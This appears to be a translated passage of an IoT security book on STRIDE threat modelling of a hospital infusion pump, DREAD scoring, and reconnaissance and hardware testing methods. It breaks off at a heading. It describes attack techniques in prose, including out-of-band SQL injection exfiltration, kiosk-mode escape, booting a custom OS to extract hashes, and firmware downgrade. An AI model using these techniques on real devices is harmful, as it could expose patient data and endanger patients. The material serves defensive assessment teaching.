当你为物联网设备专门创建威胁模型时,你很可能会遇到一些反复出现的问题。原因在于,物联网世界主要由低计算能力、低功耗、有限内存和磁盘空间的系统组成,这些系统部署在不安全的网络环境中。许多硬件制造商意识到,他们可以轻松地将任何廉价平台,如 Android 手机或平板、树莓派或 Arduino 板,转换为复杂的物联网设备。
因此,许多物联网设备的核心运行的是 Android 或常见的 Linux 发行版,这些操作系统与超过十亿部手机、平板电脑、手表和电视所使用的相同。这些操作系统是众所周知的,且通常提供的功能超出设备需求,从而增加了攻击者利用设备的方式。更糟的是,物联网开发者通过引入缺乏适当安全控制的自定义应用程序来补充操作系统。然后,为了确保产品能够执行其主要功能,开发者常常不得不绕过操作系统的原始保护。还有一些基于实时操作系统(RTOS)的物联网设备,虽然最小化了处理时间,但并未实施更先进平台的安全标准。
此外,这些物联网设备通常没有运行防病毒或反恶意软件保护的能力。它们的极简设计,旨在简化使用,无法支持常见的安全控制,例如软件白名单,在这种控制下,设备只允许安装特定的软件,或网络访问控制(NAC)解决方案,它执行网络策略,控制用户和设备的访问。许多厂商在产品初次发布后不久就停止提供安全更新。此外,通常开发这些产品的白标公司通过许多供应商在不同品牌名称和标志下广泛分发它们,这使得安全性和软件更新难以应用到所有产品。
这些局限性迫使许多联网设备使用专有的或不太知名的协议,这些协议未能达到行业安全标准。通常,它们无法支持复杂的加固方法,比如软件完整性控制,它可以验证第三方是否篡改了可执行文件,或设备验证,它使用专用硬件来确保目标设备的合法性。
遵循威胁建模框架
在安全评估中使用威胁建模的最简单方法是遵循像STRIDE 威胁分类模型这样的框架,该模型侧重于识别技术中的弱点,而不是易受攻击的资产或潜在的攻击者。STRIDE 由微软的 Praerit Garg 和 Loren Kohnfelder 开发,是最流行的威胁分类方案之一。这个首字母缩略词代表以下几种威胁:
-
欺骗:当一个行为者假装扮演系统组件的角色时
-
篡改:当一个行为者破坏数据或系统的完整性时
-
否认:当用户可以否认自己在系统上执行了某些操作时
-
信息披露:当行为者破坏系统数据的机密性时
-
服务拒绝:当一个行为者破坏系统组件或整个系统的可用性时
-
权限提升:当用户或系统组件能够提升到不应有的权限级别时
STRIDE 包含三个步骤:识别架构,拆解成组件,并识别每个组件的威胁。为了展示这一框架的实际应用,假设我们正在为一个药物输液泵进行威胁建模。我们假设该泵通过 Wi-Fi 连接到医院内的控制服务器。网络不安全且缺乏分段,这意味着医院的访客可能会连接到 Wi-Fi,并被动监控泵的流量。我们将利用这个场景来逐步演示框架的每个步骤。
识别架构
我们从检查设备的架构开始我们的威胁建模。系统由药物输液泵和一个能够向数十个泵发送命令的控制服务器组成(图 2-1)。护士操作该服务器,尽管在某些情况下,授权的 IT 管理员也可能访问它。

图 2-1:输液泵的简单架构图
控制服务器有时需要软件更新,包括药物库和患者记录的更新。这意味着它有时会连接到电子健康记录(EHR)和更新服务器。EHR 数据库包含患者的健康记录。尽管这两个组件可能超出了安全评估的范围,但我们还是将它们包含在我们的威胁模型中(图 2-2)。

图 2-2:输液泵及其控制服务器的扩展架构图,控制服务器还连接到电子健康记录(EHR)和更新服务器
将架构拆解成组件
现在让我们更仔细地观察一下架构。输注泵和控制服务器由多个组件组成,因此我们需要拆解模型,以更可靠地识别威胁。图 2-3 展示了架构组件的更详细信息。

图 2-3:进一步拆解我们的威胁模型
泵系统由硬件(实际的泵)、操作系统,以及泵内运行的软件和微控制器组成。我们还考虑了控制服务器的操作系统、控制服务器服务(运行控制服务器的程序)以及限制性的用户界面,该界面限制了用户与服务的交互。
现在我们对系统有了更清晰的了解,接下来让我们确定这些组件之间信息流动的方向。通过这样做,我们可以定位敏感数据,并找出攻击者可能会攻击的组件。我们可能还会发现一些我们之前不知道的隐藏数据流路径。假设在进一步检查生态系统后,我们得出结论:所有组件之间的数据流动是双向的。我们已经在图 2-3 中使用双向箭头标记了这一点,请记住这个细节。
让我们继续,在图示中添加信任边界(图 2-4)。信任边界围绕具有相同安全属性的群组,这有助于我们揭示可能容易受到威胁的数据流入口。

图 2-4:包含信任边界的图示
我们围绕泵、控制服务器、现场组件和远程组件创建了独立的信任边界。出于实际原因,我们还添加了两个外部用户:使用泵的患者和操作控制服务器的护士。
注意到,像来自泵的患者数据等敏感信息,可以通过控制服务器传递到第三方供应商的更新服务器。我们的方法有效:我们已经发现了第一个威胁——不安全的更新机制,这可能会将患者数据暴露给未经授权的系统。
识别威胁
现在我们将应用 STRIDE 框架来分析图示中的组件,给出一个更全面的威胁列表。尽管为了简洁起见,我们在本次练习中只讨论其中一些组件,但你应该在威胁建模过程中涵盖所有组件。
首先,我们将审查产品的一般安全要求。通常,这些要求是在开发过程中由供应商确定的。如果我们没有供应商的具体要求清单,我们可以通过查阅设备文档自行确定。例如,作为医疗设备,药物输液泵必须确保患者的安全与隐私。此外,所有医疗设备应获得针对其所处市场的认证。例如,在欧洲经济区(EEA)的扩展单一市场上交易的设备应具备欧盟认证(CE)标志。我们将在分析每个组件时牢记这些要求。
限制性用户界面
限制性用户界面(RUI)是与控制服务器服务交互的自助应用程序。该应用程序严重限制用户可以执行的操作。它就像一个 ATM 应用程序;你可以与软件进行互动,但只能以极少数的方式进行互动。除了通用的安全要求外,RUI 还有其特定的约束条件。首先,用户不应该能够退出该应用程序。其次,用户必须使用有效的凭据进行身份验证才能访问它。现在,让我们逐一分析 STRIDE 模型中的每个部分,以识别潜在的威胁。
在欺骗方面,RUI 使用弱的四位数 PIN 进行用户认证,攻击者很容易预测这些 PIN。如果攻击者猜对了 PIN,他们就可以访问授权账户,并代表账户所有者向输液泵发送命令。
就篡改而言,RUI 可以接收除了有限允许的输入以外的其他输入。例如,它可能通过外部键盘接收输入。即使大多数键盘键已被禁用,系统仍可能允许某些键组合,比如快捷键、热键,或甚至由底层操作系统配置的辅助功能(例如,在 Windows 中按 alt-F4 关闭窗口)。这些可能允许用户绕过 RUI 并退出自助服务应用程序。我们将在第三章中描述这种攻击。
在否认方面,RUI 仅支持一个医疗工作人员账户,使得所有日志文件(如果存在的话)都变得毫无用处,因为你无法识别到底是谁使用了该设备。由于 RUI 不能在多用户模式下运行,任何医疗团队成员都可以访问控制服务器并操作输液泵,而系统无法区分他们。
说到信息披露,某些调试消息或错误在展示给用户时,可能会透露有关患者或系统内部的重要信息。攻击者可能能够解码这些消息,发现底层系统使用的技术,并找出一种方式加以利用。
由于 RUI 的暴力破解保护机制,它可能容易受到拒绝服务攻击。如果用户连续五次登录失败,系统会锁定该用户。一旦暴力破解保护启动,任何用户都无法在设定的时间内登录系统。如果医疗团队不小心触发了该功能,可能会导致无法访问系统,进而违反患者安全的安全要求。即使安全功能可能防止一些威胁,它们往往会引发其他威胁。在安全、可用性和可用性的平衡之间找到合适的解决方案是一个艰巨的任务。
就权限提升而言,关键医疗系统通常具有远程支持解决方案,允许供应商的技术人员即时访问软件。这些功能的存在自动增加了组件的威胁面,因为这些服务容易受到漏洞的影响,攻击者可以利用它们获得 RUI 或控制服务器服务的远程管理员权限。即使这些功能需要身份验证,凭据也可能公开可用,或在该系列产品中是相同的。或者根本没有身份验证。
控制服务器服务
控制服务器服务是操作控制服务器的应用程序。它负责与 RUI、药物库和药物输注泵进行通信。它还使用 HTTPS 与 EHR(接收患者信息)进行通信,并使用自定义 TCP 协议与更新服务器(接收软件和药物库更新)进行通信。
除了前面提到的一般安全要求外,控制服务器应能够识别和验证药物输注泵,以避免窃取攻击,即对手用类似的、被篡改的外部组件替换原有组件。我们还应确保数据传输过程中的保护。换句话说,控制服务器与泵之间的通信协议必须是安全的,不能允许重放攻击或拦截。重放攻击会导致关键请求或状态更改请求的重传或延迟。此外,我们还必须确保攻击者无法妥协主机平台的安全控制,这可能包括应用程序沙箱、文件系统权限和现有的基于角色的访问控制。
使用 STRIDE 模型,我们可以识别出以下威胁。由于控制服务器没有可靠的药物输注泵识别方法,欺骗攻击可能发生。如果简要分析通信协议,你可以模拟一个泵并与控制服务器通信,这可能导致更多的威胁。
攻击者可能会篡改服务,因为控制服务器没有可靠的方式验证药物输注泵发送的数据完整性。这意味着控制服务器可能容易受到中间人攻击,攻击者修改发送到控制服务器的数据,并向服务器提供伪造的读数。如果控制服务器根据这些伪造的读数做出决策,攻击可能直接影响患者的健康与安全。
控制服务器可能会导致否认,因为它使用全球可写日志来监控其操作,任何系统用户都能够覆盖这些日志文件。这些日志文件可能会被攻击者篡改,以隐藏某些操作。
关于信息泄露,控制服务器不必要地将敏感的患者信息发送给更新服务器或药物输注泵。这些信息可能包括从生命体征到个人信息的各种内容。
就拒绝服务而言,接近控制服务器的对手可以干扰服务器的信号,禁用与药物输注泵的任何无线通信,使整个系统无法使用。
此外,控制服务器可能容易受到权限提升的攻击,如果它不小心暴露了允许未经身份验证的对手执行高权限功能的 API 服务,包括更改药物输注泵的设置。
药物库
药物库是系统的主要数据库。它包含泵使用的所有药物信息。该数据库还可以控制用户管理系统。
就欺骗而言,通过 RUI 或泵与数据库交互的用户可能会通过冒充其他数据库用户来执行操作。例如,他们可能会利用应用程序漏洞,滥用 RUI 中缺乏对用户输入的控制。
如果药物库未能正确清理来自 RUI 的用户输入,可能会受到篡改的威胁。这可能导致SQL 注入攻击,允许攻击者操控数据库或执行不可信的代码。
如果药物输注泵发起的用户请求的日志以不安全的方式存储用户代理,数据库可能会允许否认,使对手能够污染数据库的日志文件(例如,通过使用换行符插入虚假日志条目)。
在涉及到信息泄露时,数据库可能包含执行外部请求(如 DNS 或 HTTP 请求)的函数或存储过程。攻击者可以利用这些功能,通过脱带 SQL 注入技术窃取数据。这种方法对于只能执行盲注的攻击者极为有用,盲注是指服务器输出不包含注入查询结果的数据。例如,攻击者可以通过构造 URL 并将敏感数据放置在其控制的域名子域中,从而将数据偷偷带出。然后,他们可以将这个 URL 提供给这些易受攻击的函数,并迫使数据库向他们的服务器执行外部请求。
拒绝服务攻击可能发生在攻击者利用允许复杂查询的组件时。通过迫使这些组件执行不必要的计算,当没有更多资源可用来完成请求的查询时,数据库可能会停止运行。
此外,在涉及到特权提升时,某些数据库功能可能允许用户以最高权限运行代码。通过在 RUI 组件中执行一组特定的操作,用户可能能够调用这些功能,并将其权限提升至数据库超级用户的权限。
操作系统
操作系统接收来自控制服务器服务的输入,因此,任何针对它的威胁都直接源自控制服务器。操作系统应该具备完整性检查机制,并有包含特定安全原则的基线配置。例如,它应该保护静态数据、启用更新程序、启用网络防火墙并检测恶意代码。
如果组件允许欺骗,而攻击者能够启动自定义的操作系统,则可能会发生这种情况。这个自定义操作系统可能故意缺乏必要的安全控制支持,如应用程序沙盒、文件系统权限和基于角色的访问控制。攻击者可以研究该应用程序并提取原本由于安全控制无法获得的重要信息。
至于篡改,如果攻击者具有本地或远程访问系统的权限,他们可能会操控操作系统。例如,他们可能会更改当前的安全设置、禁用防火墙并安装后门可执行文件。
如果操作系统的日志仅存储在本地,并且高权限的攻击者能够篡改日志,则可能存在否认漏洞。
在信息泄露方面,错误和调试信息可能泄露操作系统的信息,从而帮助攻击者进一步利用系统。这些信息还可能包含敏感的患者信息,可能违反合规要求。
如果攻击者触发不必要的系统重启(例如在更新过程中)或故意关闭系统,导致整个系统停止运行,则该组件可能容易受到拒绝服务攻击。
如果攻击者利用高权限服务和应用程序的脆弱功能、软件设计或配置错误来获取应该仅供超级用户访问的资源,那么攻击者可能会实现权限提升。
设备组件的固件
接下来,我们考虑所有设备组件的固件,例如光驱、控制器、显示器、键盘、鼠标、主板、网卡、声卡、显卡等。固件是一种提供特定低级操作的软件。它通常存储在组件的非易失性内存中,或通过驱动程序在初始化时加载到组件中。设备的供应商通常负责开发和维护固件。供应商还应签署固件,设备应验证该签名。
如果攻击者利用逻辑漏洞将固件降级到包含已知漏洞的旧版本,或者在系统请求更新时安装伪装成供应商最新版本的定制固件,则该组件可能容易受到欺骗攻击。
攻击者可能会通过在固件上安装恶意软件来成功篡改固件。这是高级持续性威胁(APT)攻击的常见技术,攻击者试图在较长时间内保持隐蔽,并在操作系统重装或硬盘更换后依然存活。例如,包含木马病毒的硬盘固件修改可能允许用户将数据存储在即使格式化或清空硬盘时也不会被删除的位置。物联网设备通常不验证数字签名和固件的完整性,这使得这种攻击更加容易。此外,篡改某些固件(如 BIOS 或 UEFI)的配置变量可能允许攻击者禁用某些硬件支持的安全控制,如安全启动。
就信息披露而言,任何与第三方供应商服务器建立通信渠道的固件(例如用于分析目的或请求更新信息的固件)可能也会泄露与患者相关的私人数据,可能违反相关规定。此外,有时固件会暴露不必要的与安全相关的 API 功能,攻击者可以利用这些功能提取数据或提升权限。这可能包括披露系统管理随机存取内存(SMRAM)内容,SMRAM 是系统管理模式使用的存储,它以高权限执行并处理 CPU 电源管理。
在拒绝服务方面,一些设备组件供应商使用空中下载(OTA)更新来部署固件并安全地配置相应组件。有时,攻击者能够阻止这些更新,使系统处于不安全或不稳定状态。此外,攻击者可能能够直接与通信接口交互,尝试破坏数据以停止系统运行。
关于权限提升,对手可以通过利用驱动程序中的已知漏洞和滥用未记录的、暴露的管理接口(例如系统管理模式)来提升他们的权限。此外,许多设备组件在固件中嵌入了默认密码。攻击者可以使用这些密码来获得对组件管理面板或实际主机系统的特权访问。
物理设备
现在我们将评估物理设备的安全性,包括包含控制服务器处理器和 RUI 屏幕的盒子。当攻击者获得对系统的物理访问权限时,通常应假设他们将拥有完全的管理员权限。完全防范这种情况的方法很少。然而,您可以实施一些机制,使这个过程对对手来说更加困难。
物理设备比其他设备有更多的安全要求。首先,诊所应将控制服务器存放在只有授权员工才能进入的房间内。该组件应支持硬件认证,并具有基于烧录到 CPU 中的密钥的安全启动过程。设备应启用内存保护,并能够执行安全的硬件支持密钥管理、存储和生成,以及安全的加密操作,如生成随机数、使用公钥加密数据和安全签名。此外,设备应使用环氧树脂或其他胶粘剂密封所有关键组件,以防止人们轻松检查电路设计,从而增加逆向工程的难度。
在欺骗方面,攻击者可能能够将关键硬件部件替换为有缺陷或不安全的部件。我们称这些攻击为供应链攻击,因为它们通常发生在产品的制造或运输阶段。
关于篡改,用户有可能插入外部 USB 设备,如键盘或闪存驱动器,向系统提供不受信的数据。此外,攻击者还可以将现有的物理输入设备(如键盘、配置按钮和 USB 或以太网端口)替换为恶意设备,将数据泄露给外部方。暴露的硬件编程接口,如 JTAG,也可能允许攻击者更改设备当前的设置,提取固件,甚至将设备重置为不安全状态。
当涉及到信息泄露时,攻击者只需观察系统及其操作即可发现有关信息。此外,RUI 屏幕无法防止拍摄到包含敏感信息的照片。有人可能会移除外部存储设备并提取存储的数据。对手还可能通过利用硬件实现中的潜在旁道泄漏(如电磁干扰或 CPU 功耗)或通过分析内存部分进行冷启动攻击,来被动推断敏感患者信息、明文密码和加密密钥。
如果发生停电并导致系统关闭,服务可能会受到拒绝服务攻击的影响。这个威胁将直接影响所有需要控制服务器操作的组件。此外,拥有硬件物理访问权限的攻击者可以操控设备的内部电路结构,导致其发生故障。
权限提升可能会因为诸如竞争条件和不安全的错误处理等漏洞而发生。这些问题通常固有于嵌入式 CPU 的设计中,它们可能允许恶意进程读取所有内存或在任意内存位置写入,即使未获得授权。
泵服务
泵服务是操作泵的 software。它由一个连接控制服务器的通信协议和控制泵的微控制器组成。除了常规的安全要求外,泵还应该识别并验证控制服务器服务的完整性。控制服务器与药物输注泵之间的通信协议应该是安全的,并且不应允许重放攻击或拦截。
如果药物输注泵没有使用足够的验证检查,或者没有验证它是否确实在与有效的控制服务器通信,欺骗可能会影响该组件。不充分的验证检查还可能导致篡改攻击,例如,如果泵允许恶意构造的请求更改泵的设置。至于否认问题,输注泵可能会使用自定义的日志文件。如果这些文件不是只读的,那么它们就容易受到篡改。
如果控制服务器与输注泵之间的通信协议没有加密,泵服务可能会允许信息泄露。在这种情况下,中间人攻击者可能会捕获传输的数据,包括敏感的患者信息。
如果经过对通信协议的彻底分析后,攻击者识别出了一个关机命令,服务可能会受到拒绝服务攻击的影响。此外,如果泵以超级用户身份运行并完全控制设备,它可能会容易受到权限提升的攻击。
你可能已经发现了比我们提到的更多的威胁,并且你很可能已经为每个组件识别了额外的安全需求。一个好的规则是:每个 STRIDE 类别下至少找到一到两个威胁。如果你第一次尝试时想不到这么多,重新审视你的威胁模型多次。
使用攻击树来揭示威胁
如果你想用不同的方式识别新的威胁或为进一步分析建模现有的威胁,你可以使用攻击树。攻击树是一个视觉化的地图,它从定义一个通用的攻击目标开始,随着树的展开变得更为具体。例如,图 2-5 展示了一个篡改药物输送威胁的攻击树。
攻击树可以为我们威胁模型的结果提供更深入的洞察,并且我们可能会发现之前遗漏的威胁。请注意,每个节点包含一个可能的攻击,要求其子节点描述的一个或多个攻击。在某些情况下,攻击可能需要所有子节点。例如,篡改输液泵中的数据库数据要求你获得数据库访问权限并且在药物库表中有不当的访问控制。然而,你可以通过改变输液速度或使用拒绝服务攻击来破坏输液速率更新,从而篡改药物输送。

图 2-5:篡改药物输送威胁的攻击树
使用 DREAD 分类方案对威胁进行评分
威胁本身不会造成任何危害。威胁必须具有某种影响才能引起关注。我们无法在审查漏洞评估结果之前弄清楚已发现威胁的真正影响。然而,在某个时刻,你应该评估每个威胁所带来的风险。我们将向你展示如何使用DREAD风险评分系统来做到这一点。DREAD 这个缩写代表以下标准:
-
损害:此威胁的利用会造成多大的损害
-
可重现性:攻击的重现难易程度
-
可利用性:威胁的利用难易程度
-
受影响的用户:有多少用户会受到影响
-
可发现性:识别威胁的难易程度
我们会为每个类别分配一个从 0 到 10 的分数,然后用这些分数计算威胁的最终风险评分。
作为一个例子,让我们使用 DREAD 来评估 RUI 的弱四位数字 PIN 认证方法所带来的威胁。首先,如果对手能够猜到某人的 PIN 码,他们就能访问当前用户的数据。由于攻击只会影响到单个患者,我们将给损害和受影响用户类别打上最大分数的一半,即 5 分。接下来,因为即使是没有技术的对手也可以轻松识别、利用并复制此威胁,我们将给可发现性、可利用性和可重现性类别打上最大分数 10 分。将这些分数加总后,再除以类别数,得出的平均威胁评分为 10 分中的 8 分,如表 2-1 所示。
表 2-1:DREAD 评分矩阵
| 威胁 | 评分 |
|---|---|
| 损害 | 5 |
| 可重现性 | 10 |
| 可利用性 | 10 |
| 受影响用户 | 5 |
| 可发现性 | 10 |
| 总计 | 8 |
你可以采用类似的方法,对其余识别出的威胁进行分类,并优先处理它们。
其他类型的威胁建模、框架和工具
到目前为止,在本章中,我们展示了一个可能的威胁建模框架:一个以软件为中心的方法,优先考虑每个应用组件的脆弱性。但是,还有其他可能的框架可以遵循,例如以资产为中心和以攻击者为中心的方法。根据评估的具体需求,你可以选择使用这些替代方法之一。
在以资产为中心的威胁模型中,你首先需要识别系统中的重要信息。对于药物输注泵,资产可能包括患者的数据、控制服务器的认证凭据、输注泵的配置设置和软件版本。然后,你需要根据这些资产的安全属性进行分析:换句话说,就是每个资产需要保持其机密性、完整性和可用性。需要注意的是,你可能不会创建一个完整的资产列表,因为什么被视为有价值的,取决于每个人的视角。
以攻击者为中心的方法侧重于识别潜在的攻击者。一旦你完成了这一点,你可以利用他们的特征为每个资产制定一个基本的威胁档案。这种方法存在一些问题:它要求你收集大量关于现代威胁行为者、他们最近的活动和特点的情报。此外,你可能会不自觉地陷入对攻击者是谁以及他们想要什么的偏见。为避免这种情况,使用 Intel 威胁行为者库中提供的标准化威胁代理描述,网址是www.intel.com/content/dam/www/public/us/en/documents/solution-briefs/risk-assessments-maximize-security-budgets-brief.pdf。例如,在我们的场景中,我们的代理列表可能包括误用系统的未经培训的护士、为了加速而故意绕过现有安全控制的鲁莽护士,和能偷取小型部件(如硬盘和 SD 卡)甚至整个药物输注泵的医院窃贼。更先进的行为者可能包括数据挖掘者,搜索互联网连接的控制服务器并收集患者数据,或执行国家支持攻击、在国家范围内干扰药物输注泵使用的政府网络战士。
在进行威胁建模时,你还可以做出其他选择。除了 STRIDE 框架外,还有 PASTA、Trike、OCTAVE、VAST、安全卡和 Persona non Grata 等框架。我们在这里不会详细介绍这些模型,但你可能会在某些评估中找到它们的用处。我们使用数据流图来建模我们的威胁,但你也可以使用其他类型的图表,例如统一建模语言(UML)、泳道图,甚至状态图。你可以根据自己的需求选择最适合且最有效的系统。
常见的物联网威胁
让我们回顾一下物联网系统中一些常见的威胁。这个列表并不全面,但你可以将它作为自己威胁模型的基准。
信号干扰攻击
在信号干扰攻击中,攻击者干扰两个系统之间的通信。物联网系统通常具有自己的一套节点生态系统。例如,药物输注泵系统有一个控制服务器连接多个药物输注泵。通过特殊设备,攻击者有可能将控制服务器和泵相互隔离。在像这样的关键系统中,这种威胁可能是致命的。
重放攻击
在重放攻击中,攻击者重复某个操作或重新发送已传输的数据包。在药物输注泵的例子中,这可能意味着患者接收到多次药物剂量。无论是否影响物联网设备,重放攻击通常都是严重的。
设置篡改攻击
在设置篡改攻击中,攻击者利用组件缺乏完整性来更改其设置。对于药物输注泵,这些设置可能包括以下内容:用恶意控制服务器替换控制服务器、改变主要药物或更改网络设置以引发拒绝服务攻击。
硬件完整性攻击
硬件完整性攻击会危及物理设备的完整性。例如,攻击者可能绕过不安全的锁或容易接触的 USB 端口,特别是当它们是可启动的。所有物联网系统都面临这一威胁,因为没有任何设备完整性保护是完美的。然而,某些技术可以使攻击变得更加困难。曾经在某医疗设备的漏洞评估中,我们意识到,除非我们非常小心地使用专业设备拆解该设备,否则一个安全机制,也叫做保险丝,将摧毁电路板。这个机制证明了产品设计者已经认真考虑了设备被篡改的可能性。尽管如此,我们最终还是绕过了这一保护机制。
节点克隆
节点克隆是作为Sybil 攻击的一部分产生的威胁,其中攻击者在网络中创建虚假的节点以破坏其可靠性。物联网系统通常在其生态系统中使用多个节点,例如,当一个控制服务器管理多个药物输注泵时。
我们经常在物联网系统中发现节点克隆威胁。一个原因是,节点之间用于通信的关联协议并不复杂,创建虚假节点有时非常容易。偶尔,你甚至可以创建一个虚假的主节点(在我们的例子中是控制服务器)。这一威胁可能以多种方式影响系统:控制服务器可以连接的节点数量是否有限?这个威胁能否导致拒绝服务攻击?它会导致攻击者传播虚假的信息吗?
安全性和隐私泄露
隐私泄露是物联网系统中最大且最持续的威胁之一。通常,几乎没有任何措施能够保护用户数据的机密性,因此你可以在几乎任何数据传输到设备和从设备传输的数据的通信协议中发现这一威胁。绘制系统架构,找到可能包含敏感用户数据的组件,并监控传输这些数据的端点。
用户安全意识
即使你设法缓解了所有其他威胁,你可能仍然会遇到用户安全意识的问题。这可能包括他们识别钓鱼邮件的能力,这些邮件可能会危及他们的工作站,或者他们习惯于允许未经授权的人进入敏感区域。使用医疗物联网设备的人有句俗话:如果你想找到一个黑客,绕过业务逻辑,或加速某些处理任务,只需问操作系统的护士。因为他们每天都在使用这个系统,他们会知道所有的系统快捷方式。
结论
本章为您介绍了威胁建模的概念,即识别和列出可能对被审查系统发起的攻击的过程。通过对药物输注泵系统的威胁模型进行分析,我们概述了威胁建模过程的基本阶段,并描述了物联网设备面临的一些核心威胁。我们解释的方法很简单,可能并不适用于所有情况,因此我们鼓励您探索其他框架和流程。
第三章:安全测试方法论

当你想要测试物联网系统的漏洞时,应该从哪里开始呢?如果攻击面足够小,比如只有一个控制监控摄像头的单一网页门户,那么规划安全测试可能会很简单。然而,即便如此,如果测试团队没有遵循一定的方法论,他们也可能会忽略应用中的关键点。
本章提供了在渗透测试时应遵循的一系列严格步骤。为此,我们将物联网攻击面分为多个概念层次,如图 3-1 所示。

图 3-1:安全评估中需要测试的概念层
当测试物联网系统时,你需要一个强大的评估方法论,因为它们通常由许多相互作用的组件组成。我们以一个连接到家庭监控设备的心脏起搏器为例。该监控设备可以通过 4G 连接将患者数据发送到云门户,以便临床医生检查心率异常。临床医生还可以使用编程器配置起搏器,编程器依赖于近场通信(NFC)设备和专有无线协议。这个系统有很多部分,每个部分都可能具有潜在的巨大攻击面,一个盲目、无序的安全评估很可能无法成功绘制出这些攻击面。为了使评估成功,我们将介绍被动侦察,并随后讨论测试物理层、网络层、Web 应用层、主机层、移动应用层和云层的方法。
被动侦察
被动侦察,也常被称为开放源代码情报(OSINT),是指在不与系统直接通信的情况下收集目标数据的过程。它是任何评估的初步步骤之一;你应该始终执行这一步骤,以便了解大致情况。例如,你可能会下载并检查设备手册和芯片数据手册,浏览在线论坛和社交媒体,或采访用户和技术人员以获取信息。你还可以从由于证书透明性标准发布的 TLS 证书中收集内部主机名,证书透明性要求证书授权机构将其颁发的证书发布在公共日志记录中。
手册和文档
系统手册可以提供关于设备内部工作原理的大量信息。你通常可以在设备供应商的官方网站上找到这些手册。如果这失败了,可以尝试通过 Google 的高级搜索查找包含设备名称的 PDF 文档,例如,在查询中添加“inurl:pdf”来查找相关文件。
令人惊讶的是,你可以在手册中找到如此多的重要信息。我们的经验表明,它们可以揭示默认的用户名和密码,这些信息通常仍然存在于生产环境中,系统及其组件的详细规格,网络和架构图,以及有助于识别薄弱环节的故障排除部分。
如果你已经确定了硬件上安装的某些芯片组,查找相关的数据手册(电子元件的手册)也是值得的,因为它们可能会列出用于调试的芯片组引脚(例如第七章中讨论的 JTAG 调试接口)。
另一个有用的资源是针对使用无线电通信的设备,FCC ID 在线数据库fccid.io/。FCC ID是分配给在美国联邦通信委员会注册的设备的唯一标识符。所有在美国销售的无线发射设备必须拥有 FCC ID。通过搜索特定设备的 FCC ID,你可以找到有关无线操作频率(例如其强度)、设备内部照片、用户手册等信息。FCC ID 通常会刻印在电子组件或设备的外壳上(图 3-2)。

图 3-2:显示在 CatWAN USB 加密狗 RFM95C 芯片上的 FCC ID,我们将在第十三章中使用它进行 LoRa 黑客攻击。
专利
专利可以提供关于某些设备内部工作原理的信息。尝试在patents.google.com/搜索供应商名称,看看会出现什么。例如,使用“medtronic bluetooth”关键词应该会找到一项 2004 年发布的关于可植入医疗设备(IMDs)之间通信协议的专利。
专利几乎总是包含流程图,这些图可以帮助你评估设备与其他系统之间的通信通道。在图 3-3 中,针对同一 IMD 的一个简单流程图展示了一个关键的攻击路径。
请注意,箭头进入和离开 IMD 列。远程系统的“患者操作与建议”动作可以启动与设备的连接。当你沿着箭头链条跟踪时,会注意到该操作也可以更新设备的编程,以更改可能会危及患者的设置。因此,远程系统带来了远程入侵的风险,无论是通过不安全的移动应用程序还是实际的远程系统(通常在云端实现)。

图 3-3:来自 Medtronic 专利的流程图显示,设备和远程系统之间可以通过手机进行双向通信。这突出了一个重要的攻击路径。
用户知识
令人惊讶的是,您可以在社交媒体、在线论坛和聊天室中找到如此多的公开信息。您甚至可以利用亚马逊和 eBay 的评论作为知识来源。留意那些抱怨某个设备功能的用户;出现错误的行为有时可能表明潜在的漏洞。例如,您可能会发现有用户抱怨设备在触发一组条件后崩溃。这是一个值得调查的线索,因为它可能指向逻辑错误或由于特定输入导致的内存损坏漏洞。此外,许多用户会发布详细的产品评论,包括规格和拆解照片。
同时,检查 LinkedIn 和 Twitter 上的个人资料或帖子。为物联网系统制造商工作的工程师和 IT 人员可能会泄露一些技术信息的有趣片段。例如,如果某人发布说他们在某个特定的 CPU 架构方面有丰富的背景经验,那么该制造商的许多设备很可能都使用这种架构。如果另一个员工对某个特定框架进行抱怨(或赞扬,尽管这种情况较少发生),那么公司使用该框架开发软件的可能性也很大。
一般而言,每个物联网行业都会有一套专家,您可以向他们咨询有用的信息。例如,如果您正在评估一个电厂,询问操作员或技术人员他们的工作流程可能对确定潜在的攻击向量非常有价值。在医疗领域,护士通常是物联网系统的系统管理员和主要操作员。因此,他们通常对设备的内外情况有着丰富的了解,如果可能的话,您应该咨询他们。
物理层或硬件层
物联网设备中最重要的攻击向量之一就是硬件。如果攻击者能够获得系统的硬件组件,他们通常能够获得提升的权限,因为系统几乎总是会隐性地信任任何拥有物理访问权限的人。换句话说,如果一个专门的对手有物理访问您系统的权限,那么几乎可以认为游戏已经结束。假设最有动机的威胁行为者,比如由国家资助、拥有几乎无限时间和资源的对手,会有设备的物理副本可用。即使是专用系统,例如大型超声波机器,攻击者也可以通过在线市场、那些不安全处置设备的公司,甚至通过盗窃来获得硬件。他们甚至不需要设备的确切版本。通常,漏洞跨越了系统的多个代际。
硬件层的评估应包括对外设接口、启动环境、物理锁、篡改保护、固件、调试端口和物理鲁棒性的测试。
外设接口
外围接口 是允许您连接外部设备(如键盘、硬盘和网卡)的物理通信端口。检查是否启用了任何活动的 USB 端口或 PC 卡槽,以及它们是否支持启动。我们通过在设备上启动自己的操作系统,挂载未加密的文件系统,提取可破解的哈希值或密码,并在文件系统上安装自己的软件以覆盖技术安全控制,从而获得了对多种 x86 系统的管理访问权限。您还可以提取硬盘并读取或写入它们,即使没有访问可启动的 USB 端口,尽管这种技术不太方便。请注意,篡改硬件以提取硬盘可能会损坏组件。
USB 端口可能会成为攻击向量的另一个原因:一些设备,特别是基于 Windows 的设备,具有 亭台模式,该模式限制了用户界面。想象一下您用来提取现金的 ATM 机;即使在后台它可能运行的是 Windows XP 嵌入式操作系统,用户看到的也只是一个有限的图形界面,提供一组特定选项。试想,如果您能将 USB 键盘连接到设备的暴露端口上,您能做些什么?使用特定的键盘组合,例如 Ctrl-Alt-Delete 或 Windows 键,您可能能够逃脱亭台模式,直接访问系统的其余部分。
启动环境
